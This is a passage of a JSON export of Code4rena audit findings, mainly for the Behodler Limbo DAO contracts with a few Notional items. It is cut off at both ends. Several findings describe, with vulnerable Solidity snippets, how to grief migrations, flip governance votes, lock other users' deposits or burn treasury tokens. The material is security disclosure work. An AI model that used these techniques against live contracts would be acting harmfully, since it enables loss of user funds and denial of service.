"https://github.com/code-423n4/2022-01-behodler-findings/issues/210", "labels": ["bug", "duplicate", "1 (Low Risk)", "resolved"], "target": "2022-01-behodler-findings", "body": "Unstake wont work if pending reward is 0"}, {"title": "Gas: \"constants\" expressions are expressions, not constants.", "html_url": "https://github.com/code-423n4/2022-01-behodler-findings/issues/197", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-behodler-findings", "body": "# Handle Dravee # Vulnerability details ## Impact Due to how `constant` variables are implemented (replacements at compile-time), an expression assigned to a `constant` variable is recomputed each time that the variable is used, which wastes some gas. See: [ethereum/solidity#9232](https://github.com/ethereum/solidity/issues/9232) > Consequences: each usage of a \"constant\" costs ~100gas more on each access (it is still a little better than storing the result in storage, but not much..). since these are not real constants, they can't be referenced from a real constant environment (e.g. from assembly, or from another library ) ## Proof of Concept ``` UniswapHelper.sol:56: uint256 constant year = (1 days * 365); ``` ## Tools Used VS Code ## Recommended Mitigation Steps Replace with: ``` UniswapHelper.sol:56: uint256 constant year = 365 days; ``` "}, {"title": "Proposal cost doesn't use votingDuration", "html_url": "https://github.com/code-423n4/2022-01-behodler-findings/issues/189", "labels": ["bug", "1 (Low Risk)", "disagree with severity", "resolved", "sponsor confirmed"], "target": "2022-01-behodler-findings", "body": "# Handle sirhashalot # Vulnerability details ## Impact The LimboDAO.sol contract allows the votingDuration to be modified in the [`setProposalConfig()` function](https://github.com/code-423n4/2022-01-behodler/blob/cedb81273f6daf2ee39ec765eef5ba74f21b2c6e/contracts/DAO/LimboDAO.sol#L302), but the `makeProposal()` function hard codes this value as two days, which is the initialized value, in the `makeProposal()` fee calculation. ## Proof of Concept First, observe the comment on line 209 has a comment: ``` proposalConfig.requiredFateStake = 223 * ONE; //50000 EYE for 24 hours ``` This comment indicates that the quantity of 50,000 EYE is needed for each day. The votingDuration value [is initialized to 2 days](https://github.com/code-423n4/2022-01-behodler/blob/cedb81273f6daf2ee39ec765eef5ba74f21b2c6e/contracts/DAO/LimboDAO.sol#L208). Later in the code, the \"proposalConfig.requiredFateStake\" variable is multiplied by 2. Although there is no explanation for this value, given the earlier comment that the \"proposalConfig.requiredFateStake\" value is required every day, the cost to make a proposal should vary based on the current votingDuration value: ``` fateState[proposer].fateBalance = fateState[proposer].fateBalance - proposalConfig.requiredFateStake * 2; ``` Because a constant value of 2 is used, most likely assuming a constant 2 day votingDuration, later modifications to the votingDuration will not change the cost of making a proposal. If the votingDuration increases, the proposal cost will be less EYE per hour, and if the votingDuration decreases, the proposal cost will be more EYE per hour. ## Recommended Mitigation Steps One of two portions of the code is wrong and needs modification: 1. The comment about \"50000 EYE for 24 hours\" is wrong because it doesn't take into account the variability of votingDuration. Even if the comment only refers to the initialized values, it should state \"50000 EYE for 48 hours\" because the votingDuration is 2 days. 2. The `makeProposal()` function calculates the fate cost incorrectly because it never uses the votingDuration variables in its calculation. "}, {"title": "Wrong units in `convertFateToFlan()`", "html_url": "https://github.com/code-423n4/2022-01-behodler-findings/issues/188", "labels": ["bug", "0 (Non-critical)", "disagree with severity", "resolved", "sponsor confirmed"], "target": "2022-01-behodler-findings", "body": "# Handle sirhashalot # Vulnerability details ## Impact The `convertFateToFlan()` function in LimboDAO.sol appears to perform a calculate with improper units. The variable \"flan\" should hold a quantity of flan, but the units used in the calculation of flan don't match this. This incorrect calculation can allow users to call this function and receive much more flan than the fateToFlan exchange rate specifies. ## Proof of Concept The `convertFateToFlan()` function is in [the LimboDAO.sol contract](https://github.com/code-423n4/2022-01-behodler/blob/cedb81273f6daf2ee39ec765eef5ba74f21b2c6e/contracts/DAO/LimboDAO.sol#L239) ``` function convertFateToFlan(uint256 fate) public returns (uint256 flan) { require(fateToFlan > 0, \"LimboDAO: Fate conversion to Flan disabled.\"); fateState[msg.sender].fateBalance -= fate; flan = (fateToFlan * fate) / ONE; Flan(domainConfig.flan).mint(msg.sender, flan); } ``` The line where flan is calculated multiplies fateToFlan and fate. The units of fateToFlan are \"fate / flan\" while the units of fate are \"fate\". The product of the two has units \"fate^2 / flan\" as shown below: ``` fate fate fate ^ 2 \u2014\u2014 x = \u2014\u2014\u2014\u2014 flan flan ``` ## Recommended Mitigation Steps I see two solutions: 1. Modify the line calculating flan to `flan = fate / (fateToFlan * ONE);` 2. Either the fateToFlan value should be renamed to \"flanToFate\". This would require renaming the `setFateToFlan()` function, the comments describing the respective variable and function, and the unit tests "}, {"title": "transferFrom gas improvement", "html_url": "https://github.com/code-423n4/2022-01-behodler-findings/issues/187", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-behodler-findings", "body": "# Handle sirhashalot # Vulnerability details ## Impact The ERC20Burnable.sol file has code copied from the OpenZeppelin ERC20.sol contract. The Behodler code `transferFrom()` function does use the latest version of the OpenZeppelin code, modified earlier in Jan 2022 in [PR 3085](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/3085), which can save gas if currentAllowance == type(uint256).max. A second gas savings that has been present in OpenZeppelin for some time but is not in the Behodler code is to add an unchecked clause around the `approve()` call. ## Proof of Concept The Behodler `transferFrom()` function [doesn't use the latest edits from OZ or the unchecked clause on the approve call](https://github.com/code-423n4/2022-01-behodler/blob/cedb81273f6daf2ee39ec765eef5ba74f21b2c6e/contracts/ERC677/ERC20Burnable.sol#L204-L218). In contrast, the OZ code [does use these edits for gas savings](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/4f8af2dceb0fbc36cb32eb2cc14f80c340b9022e/contracts/token/ERC20/ERC20.sol#L156-L172). ## Recommended Mitigation Steps Use the latest OZ edits and the unchecked clause for gas savings if it doesn't introduce overflow or underflow conditions. "}, {"title": "Revert string > 32 bytes", "html_url": "https://github.com/code-423n4/2022-01-behodler-findings/issues/185", "labels": ["bug", "G (Gas Optimization)", "resolved"], "target": "2022-01-behodler-findings", "body": "Revert string > 32 bytes"}, {"title": "Using type(uint).max is cheaper than using calculation.", "html_url": "https://github.com/code-423n4/2022-01-behodler-findings/issues/173", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor disputed"], "target": "2022-01-behodler-findings", "body": "Using type(uint).max is cheaper than using calculation."}, {"title": "`LimboDAO.seed`: Wrong error message", "html_url": "https://github.com/code-423n4/2022-01-behodler-findings/issues/167", "labels": ["bug", "0 (Non-critical)", "resolved", "sponsor confirmed"], "target": "2022-01-behodler-findings", "body": "# Handle cmichel # Vulnerability details The error message for the `uniLPs` is still referring to `Sushi` instead of `Uniswap` ```solidity require(UniPairLike(uniLPs[i]).factory() == uniFactory, \"LimboDAO: invalid Sushi LP\"); ``` "}, {"title": "`Limbo.sol` Does Not Implement `WithdrawERC20Proposal` Functionality", "html_url": "https://github.com/code-423n4/2022-01-behodler-findings/issues/165", "labels": ["bug", "1 (Low Risk)", "resolved", "sponsor confirmed"], "target": "2022-01-behodler-findings", "body": "# Handle kirk-baird # Vulnerability details ## Impact The proposal contract `WithdrawERC20Proposal` allows a the DAO to withdraw ERC20 tokens to a destination the the function [withdrawERC20()](https://github.com/code-423n4/2022-01-behodler/blob/main/contracts/DAO/Proposals/WithdrawERC20Proposal.sol#L35). However, this function is not implemented in [Limbo.sol](https://github.com/code-423n4/2022-01-behodler/blob/main/contracts/Limbo.sol) and thus the execution can never succeed. ## Recommended Mitigation Steps Consider implementing this functionality in `Limbo.sol` or deleting the proposal. "}, {"title": "flan can't be transferred unless the flan contract has flan balance greater than the amount we want to transfer", "html_url": "https://github.com/code-423n4/2022-01-behodler-findings/issues/160", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "resolved", "sponsor confirmed"], "target": "2022-01-behodler-findings", "body": "# Handle CertoraInc # Vulnerability details ## Flan.sol (`safeTransfer()` function) The flan contract must have balance (and must have more flan then we want to transfer) in order to allow flan transfers. If it doesn't have any balance, the safeTransfer, which is the only way to transfer flan, will call `_transfer()` function with `amount = 0`. It should check `address(msg.sender)`'s balance instead of `address(this)`'s balance. ```sol function safeTransfer(address _to, uint256 _amount) external { uint256 flanBal = balanceOf(address(this)); // the problem is in this line uint256 flanToTransfer = _amount > flanBal ? flanBal : _amount; _transfer(_msgSender(), _to, flanToTransfer); } ``` "}, {"title": "Insufficient Validation of `burnFlashGovernanceAsset()` Parameters", "html_url": "https://github.com/code-423n4/2022-01-behodler-findings/issues/158", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2022-01-behodler-findings", "body": "Insufficient Validation of `burnFlashGovernanceAsset()` Parameters"}, {"title": "Burning a User's Tokens for a Flash Proposal will not Deduct Their Balance", "html_url": "https://github.com/code-423n4/2022-01-behodler-findings/issues/157", "labels": ["bug", "2 (Med Risk)", "resolved", "sponsor confirmed"], "target": "2022-01-behodler-findings", "body": "# Handle kirk-baird # Vulnerability details ## Impact The proposal to burn a user's tokens for a flash governance proposal does not result in the user losing any funds and may in fact unlock their funds sooner. ## Proof of Concept The function [burnFlashGovernanceAsset()](https://github.com/code-423n4/2022-01-behodler/blob/main/contracts/DAO/FlashGovernanceArbiter.sol#L124) will simply overwrite the user's state with `pendingFlashDecision[targetContract][user] = flashGovernanceConfig;` as seen below. ``` function burnFlashGovernanceAsset( address targetContract, address user, address asset, uint256 amount ) public virtual onlySuccessfulProposal { if (pendingFlashDecision[targetContract][user].assetBurnable) { Burnable(asset).burn(amount); } pendingFlashDecision[targetContract][user] = flashGovernanceConfig; } ``` Since `flashGovernanceConfig` is not modified in [BurnFlashStakeDeposit.execute()](https://github.com/code-423n4/2022-01-behodler/blob/main/contracts/DAO/Proposals/BurnFlashStakeDeposit.sol#L39) the user will have `amount` set to the current config amount which is likely what they originally transferred in {assertGovernanceApproved()](https://github.com/code-423n4/2022-01-behodler/blob/main/contracts/DAO/FlashGovernanceArbiter.sol#L60). Furthermore, `unlockTime` will be set to the config unlock time. The config unlock time is the length of time in seconds that proposal should lock tokens for not the future timestamp. That is unlock time may be say `7 days` rather than `now + 7 days`. As a result the check in [withdrawGovernanceAsset()](https://github.com/code-423n4/2022-01-behodler/blob/main/contracts/DAO/FlashGovernanceArbiter.sol#L146) `pendingFlashDecision[targetContract][msg.sender].unlockTime < block.timestamp,` will always pass unless there is a significant misconfiguration. ## Recommended Mitigation Steps Consider deleting the user's data (i.e. `delete pendingFlashDecision[targetContract][user]`) rather than setting it to the config. This would ensure the user cannot withraw any funds afterwards. Alternatively, only update `pendingFlashDecision[targetContract][user].amount` to subtract the amount sent as a function parameter and leave the remaining fields untouched. "}, {"title": "Loss Of Flash Governance Tokens If They Are Not Withdrawn Before The Next Request", "html_url": "https://github.com/code-423n4/2022-01-behodler-findings/issues/156", "labels": ["bug", "3 (High Risk)", "resolved", "sponsor confirmed"], "target": "2022-01-behodler-findings", "body": "# Handle kirk-baird # Vulnerability details ## Impact Users who have not called [withdrawGovernanceAsset()](https://github.com/code-423n4/2022-01-behodler/blob/main/contracts/DAO/FlashGovernanceArbiter.sol#L142) after they have locked their tokens from a previous proposal (i.e. [assertGovernanceApproved](https://github.com/code-423n4/2022-01-behodler/blob/main/contracts/DAO/FlashGovernanceArbiter.sol#L60)), will lose their tokens if [assertGovernanceApproved()](https://github.com/code-423n4/2022-01-behodler/blob/main/contracts/DAO/FlashGovernanceArbiter.sol#L60) is called again with the same `target` and `sender`. The `sender` will lose `pendingFlashDecision[target][sender].amount` tokens and the tokens will become unaccounted for and locked in the contract. Since the new amount is not added to the previous amount, instead the previous amount is overwritten with the new amount. The impact of this is worsened by another vulnerability, that is [assertGovernanceApproved()](https://github.com/code-423n4/2022-01-behodler/blob/main/contracts/DAO/FlashGovernanceArbiter.sol#L60) is a `public` function and may be called by any arbitrary user so long as the `sender` field has called `approve()` for `FlashGovernanceArbiter` on the ERC20 token. This would allow an attacker to make these tokens inaccessible for any arbitrary `sender`. ## Proof of Concept In [assertGovernanceApproved()](https://github.com/code-423n4/2022-01-behodler/blob/main/contracts/DAO/FlashGovernanceArbiter.sol#L60) as seen below, the line`pendingFlashDecision[target][sender] = flashGovernanceConfig` will overwrite the previous contents. Thereby, making any previous rewards unaccounted for and inaccessible to anyone. Note that we must wait `pendingFlashDecision[target][sender].unlockTime` between calls. ``` function assertGovernanceApproved( address sender, address target, bool emergency ) public { if ( IERC20(flashGovernanceConfig.asset).transferFrom(sender, address(this), flashGovernanceConfig.amount) && pendingFlashDecision[target][sender].unlockTime < block.timestamp ) { require( emergency || (block.timestamp - security.lastFlashGovernanceAct > security.epochSize), \"Limbo: flash governance disabled for rest of epoch\" ); pendingFlashDecision[target][sender] = flashGovernanceConfig; pendingFlashDecision[target][sender].unlockTime += block.timestamp; security.lastFlashGovernanceAct = block.timestamp; emit flashDecision(sender, flashGovernanceConfig.asset, flashGovernanceConfig.amount, target); } else { revert(\"LIMBO: governance decision rejected.\"); } } ``` ## Recommended Mitigation Steps Consider updating the initial if statement to ensure the `pendingFlashDecision` for that `target` and `sender` is empty, that is: ``` function assertGovernanceApproved( address sender, address target, bool emergency ) public { if ( IERC20(flashGovernanceConfig.asset).transferFrom(sender, address(this), flashGovernanceConfig.amount) && pendingFlashDecision[target][sender].unlockTime == 0 ) { ... ``` Note we cannot simply add the new `amount` to the previous `amount` incase the underlying `asset` has been changed. "}, {"title": "Reentrancy on Flash Governance Proposal Withdrawal", "html_url": "https://github.com/code-423n4/2022-01-behodler-findings/issues/154", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2022-01-behodler-findings", "body": "Reentrancy on Flash Governance Proposal Withdrawal"}, {"title": "The system can get to a \"stuck\" state if a bad proposal (proposal that can't be executed) is accepted", "html_url": "https://github.com/code-423n4/2022-01-behodler-findings/issues/153", "labels": ["bug", "2 (Med Risk)", "resolved", "sponsor confirmed"], "target": "2022-01-behodler-findings", "body": "# Handle CertoraInc # Vulnerability details ## LimboDAO.sol (`updateCurrentProposal()` modifier and `makeProposal()` function) The LimboDAO contract has a variable that indicates the current proposal - every time there can be only one proposal. The only way a proposal can be done and a new proposal can be registered is to finish the previous proposal by either accepting it and executing it or by rejecting it. If a proposal that can't succeed, like for example an `UpdateMultipleSoulConfigProposal` proposal that has too much tokens and not enough gas, will stuck the system if it will be accepted. Thats because its time will pass - the users won't be able to vote anymore (because the `vote` function will revert), and the proposal can't be executed - the `execute` function will revert. So the proposal won't be able to be done and the system will be stuck because new proposal won't be able to be registered. When trying to call the `executeCurrentProposal()` function that activates the `updateCurrentProposal()` modifier, the modifier will check the balance of fate, it will see that it's positive and will call `currentProposalState.proposal.orchestrateExecute()` to execute the proposal. the proposal will revert and cancel it all (leaving the proposal as the current proposal with `voting` state). When trying to call `makeProposal()` function to make a new proposal it will revert because the current proposal is not equal to address(0). To sum up, the system can get to a \"stuck\" state if a bad proposal (proposal that can't be executed) is accepted. "}, {"title": "not emitting `ClaimedReward` event ", "html_url": "https://github.com/code-423n4/2022-01-behodler-findings/issues/148", "labels": ["bug", "0 (Non-critical)", "resolved", "sponsor confirmed"], "target": "2022-01-behodler-findings", "body": "# Handle CertoraInc # Vulnerability details ## Limbo.sol (`_unstake()` and `stake()` functions) not emitting the `ClaimedReward` event when the user claims his rewards (also when staking and getting the current reward, I don't know if it is done in purpose but just making sure) "}, {"title": "user won't be able to get his rewards in case of staking with amount = 0", "html_url": "https://github.com/code-423n4/2022-01-behodler-findings/issues/146", "labels": ["bug", "question", "2 (Med Risk)", "resolved", "sponsor confirmed"], "target": "2022-01-behodler-findings", "body": "# Handle CertoraInc # Vulnerability details ## Limbo.sol (`stake()` function) if a user has a pending reward and he call the `stake` function with `amount = 0`, he won't be able to get his reward (he won't get the reward, and the reward debt will cover the reward) that's happening because the reward calculation is done only if the staked amount (given as a parameter) is greater than 0, and it updates the reward debt also if the amount is 0, so the reward debt will be updated without the user will be able to get his reward "}, {"title": "inline a function (use its code) instead of calling it", "html_url": "https://github.com/code-423n4/2022-01-behodler-findings/issues/143", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-01-behodler-findings", "body": "inline a function (use its code) instead of calling it"}, {"title": "a not needed variable", "html_url": "https://github.com/code-423n4/2022-01-behodler-findings/issues/142", "labels": ["bug", "disagree with severity", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-01-behodler-findings", "body": "a not needed variable"}, {"title": "use a defined constant to save gas", "html_url": "https://github.com/code-423n4/2022-01-behodler-findings/issues/127", "labels": ["bug", "disagree with severity", "G (Gas Optimization)", "resolved", "sponsor disputed"], "target": "2022-01-behodler-findings", "body": "use a defined constant to save gas"}, {"title": "typo", "html_url": "https://github.com/code-423n4/2022-01-behodler-findings/issues/123", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2022-01-behodler-findings", "body": "typo"}, {"title": "save gas by using `if else` instead of calculating the same expression twice", "html_url": "https://github.com/code-423n4/2022-01-behodler-findings/issues/122", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-01-behodler-findings", "body": "save gas by using `if else` instead of calculating the same expression twice"}, {"title": "use variables indtead of array to save gas", "html_url": "https://github.com/code-423n4/2022-01-behodler-findings/issues/119", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-01-behodler-findings", "body": "use variables indtead of array to save gas"}, {"title": "You can flip governance decisions without extending vote duration", "html_url": "https://github.com/code-423n4/2022-01-behodler-findings/issues/106", "labels": ["bug", "question", "2 (Med Risk)", "resolved", "sponsor confirmed"], "target": "2022-01-behodler-findings", "body": "# Handle camden # Vulnerability details ## Impact The impact here is that a user can, right at the end of the voting period, flip the decision without triggering the logic to extend the vote duration. The user doesn't even have to be very sophisticated: they can just send one vote in one transaction to go to 0, then in a subsequent transaction send enough to flip the vote. ## Proof of Concept https://github.com/code-423n4/2022-01-behodler/blob/608cec2e297867e4d954a63fecd720e80c1d5ae8/contracts/DAO/LimboDAO.sol#L281 You can send exactly enough fate to send the fate amount to 0, then send fate to change the vote. You'll never trigger this logic. On the first call, to send the currentProposalState.fate to 0, `(fate + currentFate) * fate == 0`, so we won't extend the proposal state. Then, on the second call, to actually change the vote, `fate * currentFate == 0` because `currentFate` is 0. ## Recommended Mitigation Steps Make sure that going to 0 is equivalent to a flip, but going away from 0 isn't a flip. "}, {"title": "You can grief migrations by sending SCX to the UniswapHelper", "html_url": "https://github.com/code-423n4/2022-01-behodler-findings/issues/105", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2022-01-behodler-findings", "body": "You can grief migrations by sending SCX to the UniswapHelper"}, {"title": "Calling `generateFLNQuote` twice in every block prevents any migration", "html_url": "https://github.com/code-423n4/2022-01-behodler-findings/issues/102", "labels": ["bug", "2 (Med Risk)", "resolved", "sponsor confirmed"], "target": "2022-01-behodler-findings", "body": "# Handle camden # Vulnerability details # Impact and PoC https://github.com/code-423n4/2022-01-behodler/blob/71d8e0cfd9388f975d6a90dffba9b502b222bdfe/contracts/UniswapHelper.sol#L138 In the Uniswap helper, `generateFLNQuote` is public, so any user can generate the latest quote. If you call this twice in any block, then the two latest flan quotes will have a `blockProduced` value of the current block's number. These quotes are used in the `_ensurePriceStability` function. The last require statement here is key: https://github.com/code-423n4/2022-01-behodler/blob/71d8e0cfd9388f975d6a90dffba9b502b222bdfe/contracts/UniswapHelper.sol#L283-L285 This function will revert if this statement is false: ``` localFlanQuotes[0].blockProduced - localFlanQuotes[1].blockProduced > VARS.minQuoteWaitDuration ``` Since `VARS.minQuoteWaitDuration` is a `uint256`, it is at least 0 ``` localFlanQuotes[0].blockProduced - localFlanQuotes[1].blockProduced > 0 ``` But, as we've shown above, we can create a transaction in every block that will make `localFlanQuotes[0].blockProduced - localFlanQuotes[1].blockProduced == 0`. In any block we can make any call to `_ensurePriceStability` revert. `_ensurePriceStability` is called in the `ensurePriceStability` modifier: https://github.com/code-423n4/2022-01-behodler/blob/71d8e0cfd9388f975d6a90dffba9b502b222bdfe/contracts/UniswapHelper.sol#L70 This modifier is used in `stabilizeFlan`: https://github.com/code-423n4/2022-01-behodler/blob/71d8e0cfd9388f975d6a90dffba9b502b222bdfe/contracts/UniswapHelper.sol#L162 Lastly, `stabilizeFlan` is used in `migrate` in `Limbo.sol` https://github.com/code-423n4/2022-01-behodler/blob/71d8e0cfd9388f975d6a90dffba9b502b222bdfe/contracts/Limbo.sol#L234 Therefore, we can grief a migration in any block. In reality, the `minQuoteWaitDuration` would be set to a much higher value than 0, making this even easier to grief for people (you only need to call `generateFLNQuote` every `minQuoteWaitDuration - 1` blocks to be safe). # Mitigation Mitigation is to just use a time weighted oracle for uniswap. "}, {"title": "commented debugging code", "html_url": "https://github.com/code-423n4/2022-01-behodler-findings/issues/97", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2022-01-behodler-findings", "body": "commented debugging code"}, {"title": "gas optimization by using shift operator", "html_url": "https://github.com/code-423n4/2022-01-behodler-findings/issues/95", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-01-behodler-findings", "body": "gas optimization by using shift operator"}, {"title": "Unnecessary if else in `UniswapHelper.configure()`", "html_url": "https://github.com/code-423n4/2022-01-behodler-findings/issues/89", "labels": ["bug", "disagree with severity", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-behodler-findings", "body": "# Handle Ruhum # Vulnerability details ## Impact The if else here doesn't really do anything. Might as well just remove it: https://github.com/code-423n4/2022-01-behodler/blob/main/contracts/UniswapHelper.sol#L132 ## Recommended Mitigation Steps `VARS.precision = precision` "}, {"title": "Add emergency stop for specific stablecoins in `FlanBackstop`", "html_url": "https://github.com/code-423n4/2022-01-behodler-findings/issues/88", "labels": ["bug", "1 (Low Risk)", "resolved", "sponsor confirmed"], "target": "2022-01-behodler-findings", "body": "# Handle Ruhum # Vulnerability details ## Impact The recent events concerning MIM showed that stablecoins are not always worth $1. It might be worth it to add an option to stop accepting a specific stablecoin for the time being in `FlanBackstop`. https://coinmarketcap.com/currencies/magic-internet-money/ Generally, it would allow someone to mint `PyroFlan` for cheaper than expected. Whether there are more possible attack vectors is not entirely clear to me. I'd argue that you don't lose much by adding it. ## Proof of Concept Currently, a backer can only be updated through a proposal which will most likely take too long: https://github.com/code-423n4/2022-01-behodler/blob/main/contracts/FlanBackstop.sol#L63 ## Tools Used none ## Recommended Mitigation Steps Allow pausing the use of specific backers. Using the `governanceApproved()` modifier might be good "}, {"title": "`LimboDAO.killDAO()` doesn't update the DAO address of `FlanBackstop`, `UniswapHelper`, and `ProposalFactory`", "html_url": "https://github.com/code-423n4/2022-01-behodler-findings/issues/86", "labels": ["bug", "1 (Low Risk)", "disagree with severity", "resolved", "sponsor confirmed"], "target": "2022-01-behodler-findings", "body": "# Handle Ruhum # Vulnerability details ## Impact `LimboDAO.killDAO()` is used to assign control of the contracts to a new DAO. Currently, it only updates `Flan` & `Limbo`. But, `FlanBackstop`, `UniswapHelper`, and `ProposalFactory` also depend on the DAO. Those are not updated. The new DAO loses control over them. ## Proof of Concept https://github.com/code-423n4/2022-01-behodler/blob/main/contracts/DAO/LimboDAO.sol#L226 ## Tools Used none ## Recommended Mitigation Steps Instead of calling `setDAO()` on hardcoded address, the function should allow passing an array of addresses for which `setDAO()` is called. ```sol function killDAO(address[] calldata a, address newOwner) public onlyOwner isLive { domainConfig.live = false; for (uint i; i < a.length; i++) { Governable(a[i]).setDAO(newOwner); } emit daoKilled(newOwner); } ``` "}, {"title": "Remove duplicate call to save gas", "html_url": "https://github.com/code-423n4/2022-01-behodler-findings/issues/79", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-behodler-findings", "body": "# Handle Ruhum # Vulnerability details ## Impact There's a duplicate call here: https://github.com/code-423n4/2022-01-behodler/blob/main/contracts/FlanBackstop.sol#L93-L94 Remove it to reduce gas "}, {"title": "`Governable` configuration can be backrun", "html_url": "https://github.com/code-423n4/2022-01-behodler-findings/issues/78", "labels": ["bug", "question", "1 (Low Risk)", "resolved", "sponsor disputed"], "target": "2022-01-behodler-findings", "body": "`Governable` configuration can be backrun"}, {"title": "`approveUnstake` is unsafe ", "html_url": "https://github.com/code-423n4/2022-01-behodler-findings/issues/55", "labels": ["bug", "1 (Low Risk)", "resolved", "sponsor confirmed"], "target": "2022-01-behodler-findings", "body": "# Handle CertoraInc # Vulnerability details Similar to ERC20.approve, `approveUnstake()` is unsafe due to the fact that it set the allowance to a fixed number and doesn't increase or decrease it. Usually, the `ERC20.approve` doesn't get much attention because they leave it to the user to make sure his operation is safe, however here the user cannot do it because the `unstakeApproval` state variable is private and there is no getter for it. In `ERC20.approve` users can simply check the allowance and change it in the same transaction and eliminate the risk, but here it's impossible. ## Impact Users will not be able to change the allowance of the unstake without the risk of the frontrunning stealing like the classic `ERC20.approve` (there the risk can be removed). This will cause users to not change allowance for users that they don't 100% trust which can be problematic ## Proof of Concept The function that sets the allowance to a fixed number: https://github.com/code-423n4/2022-01-behodler/blob/main/contracts/Limbo.sol#L606-L612 The private map state variable that has no getter (in solidity state variables are automatically private unless declared otherwise) https://github.com/code-423n4/2022-01-behodler/blob/main/contracts/Limbo.sol#L288 ## Tools Used Manual code review ## Recommended Mitigation Steps If you insist changing the allowance to a fixed number and not increase it or decrease it, at least make the allowance public so it can be checked before changing "}, {"title": "Denial of Service in UpdateMultipleSoulConfigProposal", "html_url": "https://github.com/code-423n4/2022-01-behodler-findings/issues/52", "labels": ["bug", "duplicate", "1 (Low Risk)", "resolved"], "target": "2022-01-behodler-findings", "body": "Denial of Service in UpdateMultipleSoulConfigProposal"}, {"title": "Lack of Governance in Governable methods", "html_url": "https://github.com/code-423n4/2022-01-behodler-findings/issues/51", "labels": ["bug", "0 (Non-critical)", "resolved", "sponsor disputed"], "target": "2022-01-behodler-findings", "body": "Lack of Governance in Governable methods"}, {"title": "Gas saving removing variable", "html_url": "https://github.com/code-423n4/2022-01-behodler-findings/issues/50", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-behodler-findings", "body": "# Handle 0x1f8b # Vulnerability details ## Impact Detailed description of the impact of this finding. ## Proof of Concept Removing the variable `_redeemRate` and using only the call `redeemRate()` in the method `mint` inside the contract `RebaseProxy` it`s possible to save gas. It will save gas if the case of `transferFrom` failure. ``` function mint(address to, uint256 amount) public override returns (uint256) { uint256 _redeemRate = redeemRate(); require( IERC20(baseToken).transferFrom(msg.sender, address(this), amount) ); uint256 baseBalance = IERC20(baseToken).balanceOf(address(this)); uint256 proxy = (baseBalance * ONE) / _redeemRate; _mint(to, proxy); } ``` ## Tools Used Manual review. ## Recommended Mitigation Steps Remove the mentioned argument. "}, {"title": "transfer return value of a general ERC20 is ignored", "html_url": "https://github.com/code-423n4/2022-01-behodler-findings/issues/37", "labels": ["bug", "1 (Low Risk)", "resolved"], "target": "2022-01-behodler-findings", "body": "transfer return value of a general ERC20 is ignored"}, {"title": "Two Steps Verification before Transferring Ownership", "html_url": "https://github.com/code-423n4/2022-01-behodler-findings/issues/27", "labels": ["bug", "question", "1 (Low Risk)", "sponsor acknowledged"], "target": "2022-01-behodler-findings", "body": "Two Steps Verification before Transferring Ownership"}, {"title": "Use calldata instead of memory", "html_url": "https://github.com/code-423n4/2022-01-behodler-findings/issues/22", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-01-behodler-findings", "body": "Use calldata instead of memory"}, {"title": "Unnecessary default assignment", "html_url": "https://github.com/code-423n4/2022-01-behodler-findings/issues/20", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-01-behodler-findings", "body": "Unnecessary default assignment"}, {"title": "Unnecessary constructor", "html_url": "https://github.com/code-423n4/2022-01-behodler-findings/issues/18", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-01-behodler-findings", "body": "Unnecessary constructor"}, {"title": "Use != 0 instead of > 0", "html_url": "https://github.com/code-423n4/2022-01-behodler-findings/issues/15", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-01-behodler-findings", "body": "Use != 0 instead of > 0"}, {"title": "Caching array length can save gas", "html_url": "https://github.com/code-423n4/2022-01-behodler-findings/issues/12", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-01-behodler-findings", "body": "Caching array length can save gas"}, {"title": "Prefix increments are cheaper than postfix increments", "html_url": "https://github.com/code-423n4/2022-01-behodler-findings/issues/10", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-01-behodler-findings", "body": "Prefix increments are cheaper than postfix increments"}, {"title": "Unused imports", "html_url": "https://github.com/code-423n4/2022-01-behodler-findings/issues/2", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor disputed"], "target": "2022-01-behodler-findings", "body": "Unused imports"}, {"title": "Users Can Game `sNOTE` Minting If Buybacks Occur Infrequently", "html_url": "https://github.com/code-423n4/2022-01-notional-findings/issues/231", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2022-01-notional-findings", "body": "Users Can Game `sNOTE` Minting If Buybacks Occur Infrequently"}, {"title": "A Malicious Treasury Manager Can Burn Treasury Tokens By Setting `makerFee` To The Amount The Maker Receives", "html_url": "https://github.com/code-423n4/2022-01-notional-findings/issues/230", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2022-01-notional-findings", "body": "# Handle leastwood # Vulnerability details ## Impact The treasury manager contract holds harvested assets/`COMP` from Notional which are used to perform `NOTE` buybacks or in other areas of the protocol. The manager account is allowed to sign off-chain orders used on 0x to exchange tokens to `WETH` which can then be deposited in the Balancer LP and distributed to `sNOTE` holders. However, `_validateOrder` does not validate that `takerFee` and `makerFee` are set to zero, hence, it is possible for a malicious manager to receive tokens as part of a swap, but the treasury manager contract receives zero tokens as `makerFee` is set to 